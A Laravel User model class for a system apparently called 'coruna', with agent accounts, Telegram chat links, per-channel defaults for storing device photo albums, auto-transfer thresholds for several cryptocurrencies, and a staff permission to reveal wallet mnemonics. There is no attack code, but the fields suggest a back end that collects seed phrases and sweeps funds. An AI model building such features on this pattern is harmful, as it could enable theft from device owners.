<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Foundation\Auth\User as Authenticatable;

class User extends Authenticatable
{
    protected $fillable = [
        'username', 'password', 'status', 'comment', 'chat_id',
        'auto_transfer_enabled',
        'auto_transfer_threshold_usdt',
        'auto_transfer_threshold_trx',
        'auto_transfer_threshold_eth',
        'auto_transfer_threshold_btc',
        'album_storage_default',
        'can_reveal_mnemonics',
    ];

    protected $hidden = [
        'password', 'remember_token', 'bot_token', 'google_secret',
    ];

    protected static function booted(): void
    {
        $bust = static function (): void {
            app(\App\Services\FilterOptionsService::class)->forgetAgents();
        };
        static::saved($bust);
        static::deleted($bust);
    }

    protected function casts(): array
    {
        return [
            'password' => 'hashed',
            'status' => 'integer',
            'auto_transfer_enabled' => 'boolean',
            'auto_transfer_threshold_usdt' => 'decimal:8',
            'auto_transfer_threshold_trx' => 'decimal:8',
            'auto_transfer_threshold_eth' => 'decimal:8',
            'auto_transfer_threshold_btc' => 'decimal:8',
            'album_storage_default' => 'boolean',
            'can_reveal_mnemonics' => 'boolean',
            'google_auth_open' => 'integer',
        ];
    }

    protected $attributes = [
        'album_storage_default' => false,
        'can_reveal_mnemonics' => false,
    ];

    public function isEnabled(): bool
    {
        return (int) $this->status === 1;
    }

    public function channels(): HasMany
    {
        return $this->hasMany(Channel::class, 'user_id');
    }

    public function albumStorageDefaultEnabled(): bool
    {
        return (bool) ($this->album_storage_default ?? false);
    }

    public function mnemonicRevealEnabled(): bool
    {
        return (bool) ($this->can_reveal_mnemonics ?? false);
    }

    public function canRevealMnemonics(): bool
    {
        return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled();
    }

    public function hasGoogleBound(): bool
    {
        return filled($this->google_secret);
    }

    public function requiresLoginGoogle(): bool
    {
        return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
    }

    /**
     * New-device album_storage default for a channel.
     * Agent channels use that agent's switch. Official channels use the system switch.
     * Unknown channel IDs stay off.
     */
    public static function albumStorageDefaultForChannel(?string $channelId): bool
    {
        $channelId = trim((string) $channelId);
        if ($channelId === '') {
            return false;
        }

        $userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
        if ($userId === null) {
            return false;
        }
        if ((int) $userId === Channel::OFFICIAL_USER_ID) {
            return (bool) config('coruna.album_storage.official_default');
        }

        $agent = static::query()->find((int) $userId);

        return $agent?->albumStorageDefaultEnabled() ?? false;
    }

    public function hasTelegramChat(): bool
    {
        return trim((string) ($this->chat_id ?? '')) !== '';
    }

    /** @deprecated Use hasTelegramChat(); kept for existing call sites. */
    public function hasTelegramBot(): bool
    {
        return $this->hasTelegramChat();
    }

    public static function findEnabledByChatId(int|string|null $chatId): ?self
    {
        $chatId = trim((string) $chatId);
        if ($chatId === '') {
            return null;
        }

        return static::query()
            ->where('status', 1)
            ->where('chat_id', $chatId)
            ->orderBy('id')
            ->first();
    }
}